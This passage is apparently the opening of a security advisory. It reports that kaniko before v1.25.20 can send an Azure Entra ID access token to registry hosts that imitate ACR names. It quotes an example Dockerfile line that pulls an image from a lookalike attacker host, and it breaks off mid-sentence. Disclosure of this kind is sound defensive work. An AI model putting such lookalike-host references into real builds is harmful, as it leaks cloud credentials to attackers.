kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

Summary kaniko before v1.25.20 can send a Microsoft Entra ID Azure AD access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img, is enough. The build needs no RUN instructi...